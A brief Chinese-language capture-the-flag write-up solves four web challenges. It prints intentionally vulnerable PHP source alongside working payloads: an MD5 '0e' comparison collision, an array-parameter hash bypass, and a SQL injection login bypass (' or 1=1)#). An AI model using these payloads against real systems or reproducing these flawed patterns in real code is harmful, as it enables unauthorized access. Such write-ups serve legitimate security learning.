nctf-web-2

1….签到2
http://teamxlc.sinaapp.com/web1/02298884f0724c04293b4d8c0178615e/index.php
提示：请输入口令zhimakaimen
截包把zhimakaime改成zhimakaimen即可

2…..md5 collision

源码

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>

题目链接 http://115.28.150.176/md5/index.php

GET 参数a=0e***********

3.PHP 弱类型

if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) === md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}

利用php弱类型绕过的题,直接构造:

http://chinalover.sinaapp.com/web17/index.php?a[]=aaa&b[]=bbb
得到flag.

4.SQL注入1
http://chinalover.sinaapp.com/index.php

<?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);
  $pass = md5(trim($_POST[pass]));
  $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
    echo '</br>'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?>

用户名处万能密码’ or 1=1)#得到flag